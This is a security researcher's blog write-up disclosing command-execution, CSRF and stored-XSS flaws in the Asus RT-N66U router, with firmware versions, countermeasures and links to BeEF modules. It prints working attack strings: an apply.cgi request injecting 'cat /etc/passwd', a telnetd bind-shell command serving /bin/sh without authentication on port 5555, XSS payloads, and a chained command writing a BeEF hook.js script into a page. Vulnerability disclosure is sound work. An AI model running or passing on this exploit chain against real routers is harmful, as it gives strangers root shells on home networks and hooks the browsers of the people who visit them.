Update (2014/03/09): @Beef has merged my git contribution, links updated below.

Summary of issues:
  • Command execution
  • telnetd with ability to run scripts 
  • Stored XSS
  • Weak password has $1$
  • Enabling Telnet 'possibly' creates an unsalted password hash
Assumptions:
  • Router IP = 10.0.0.1
  • Main web page is the router's configuration portal, found at http://10.0.0.1
  • Firmware Versions tested: 3.0.0.4.374_979 and 3.0.0.4.374_4561
DISCLAIMER: READ AND EXECUTE ANY OF THIS AT YOUR OWN RISK. ONLY FOR EDUCATIONAL PURPOSES.

The Asus RT-N66U is a lovely looking router and a very functional one too (link to Asus site here).

Unfortunately a bit too functional it would seem. After reading John's (n0x00) tweet about the ability to output the shadow file I knew it was a command execution vulnerability. I checked my router and it had exactly the same interface. As we will find out later it is programmed slightly differently. His write up can be found here http://tghc.co/dsl-n66u-chapter-one/ .

Command Execution
So I set forth to have a play with the aforementioned issue. The problem is found on the Netstat page, found under Network tools. It includes the program and all the option flags. I have no idea why someone would think that would be a good idea. This is also possible because of CSRF, which also makes integrating it into @Beef really easy. N.B: When you visit the page it clears out the file on the server side.

The page's source code includes a lot of detail about how the page works. It has javascript code that replaces XU6J03M6 which is present in the file generated on the server when the command is executed. It also queries the http://10.0.0.1/cmdRet_check.htm for the netstat command it executes. Inspecting this file it contained code that included the file found in /tmp/syscmd.log . Therefore after the command is executed its results are stored in it. These are not cleared out.

With the use of Burp it was possible to see what queries were made. The one below includes the command to print /etc/passwd in the SystemCmd argument. The GET request shown below is different from that in the DSL-N66U.
http://10.0.0.1/apply.cgi?current_page=Main_Netstat_Content.asp&next_page=Main_Netstat_Content.asp&next_host=10.0.0.1&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&preferred_lang=EN&SystemCmd=cat+/etc/passwd&firmver=&cmdMethod=netstat&NetOption=-a&targetip=&ExtOption=-r+state
As mentioned in John's post, I then found out that telnetd was installed and had a play with that. Apparently it has telnetd as part of BusyBox

BusyBox v1.17.4 (2013-10-03 06:38:54 CST) multi-call binary.
Usage: telnetd [OPTIONS]
Handle incoming telnet connections
Options:
        -l LOGIN        Exec LOGIN on connect
        -f ISSUE_FILE   Display ISSUE_FILE instead of /etc/issue
        -K              Close connection as soon as login exits
                        (normally wait until all programs close slave pty)
        -p PORT         Port to listen on
        -b ADDR[:PORT]  Address to bind to
        -F              Run in foreground
        -i              Inetd mode

 Therefore the following command (telnetd+-p+5555+-l+/bin/sh) can be used to run a version of telnet listening on port 5555 and it will execute /bin/sh once you connect to it. No Auth needed, does not show on the main web page (where another instance of telnet can be started) and no netcat either. Resetting the router will clear this service. To kill the telnetd process:
telnet 10.0.0.1 5555
ps 
Find the telnetd processID (first number) and
kill -9 processID
It is possible to temporarily store files in /tmp/ these files will be deleted after a reboot though.

Netcat can also be downloaded from http://downloads.openwrt.org/kamikaze/7.09/packages/mipsel/ but the existence of telnetd with execute on connect means we don't need it.

XSS
Since the page http://10.0.0.1/cmdRet_check.htm and contents of /tmp/syscmd.log are not cleared unless a) a new command is set, b) the page Netstat page, from the main menu, is visited or c) the router is reset, therefore the contents are saved indefinitely.

So this means it is possible to have store XSS. This is achieved by using the command execution to echo some HTML and then have someone visit it.
echo+%27<script>alert(1)%3B</script>%27 
@Beef
You might think this is all very nice and simple and not much can be done with them. You are wrong. If we combine all two security issue with Beef we have a very good mechanism for extracting important details from the router and it is possible to have a semi-persistent entry point into the router.

As a result of the work done on this router I created 3 beef modules. I shall post the links here once I have uploaded them.

beef / modules / exploits / router / asus_rt_n66u_cmd_exec: https://github.com/beefproject/beef/tree/master/modules/exploits/router/asus_rt_n66u_cmd_exec

beef / modules / browser / hooked_domain / get_page_html_iframe
https://github.com/beefproject/beef/tree/master/modules/browser/hooked_domain/get_page_html_iframe

 beef / modules / browser / hooked_domain / remove_stuck_iframes
https://github.com/beefproject/beef/tree/master/modules/browser/hooked_domain/remove_stuck_iframes

With the stored XSS it is possible to get a beef hook on the domain via an iframe redirect. Because of issue with iframes, I found it useful to have the ability to remove frames from nested iframes. (Inception galore)

Echo some html with a @Beef hook and the command we want to run all into /tmp/a and then output the contents of the file using cat for us to utilise and see the results.
echo+%27<html><body>%27+>+/tmp/a%3Becho+%27<script src="http://127.0.0.1:3000/hook.js"></script>%27+>>+/tmp/a%3B+ls+/+>>+/tmp/a+%3B+echo+%27</body></html>%27+>>+/tmp/a%3Bcat+/tmp/a

Digital Forensics
From a digital forensics point of view, the volatility of /tmp/ is a good demonstration of why evidence collectors should not reboot or shutdown routers. In the above case suspicious output could also be found in /tmp/syscmd.log but only if it is not reboot or the page is not visited.

Telnet creates a weak password (needs to be tested again)
I am under the impression that if telnet is enabled from the main web page (http://10.0.0.1) the password hash found in /etc/shadow is replaced with one that does not have a salt and which is just as weak. The original password hash is $1$ very weak as well.

Passwords and users
Unlike the DSL-N66U this model does not have any default users that can login besides the default admin account.

Countermeasures
Possible countermeasures could include:

  • Patch, when it comes out
  • Modify the page to not include netstat as a functionality (have not tested this)
  • Reboot router often, especially after friends visit, just saying!
  • Private browse to router's portal and then delete cache/history and close browser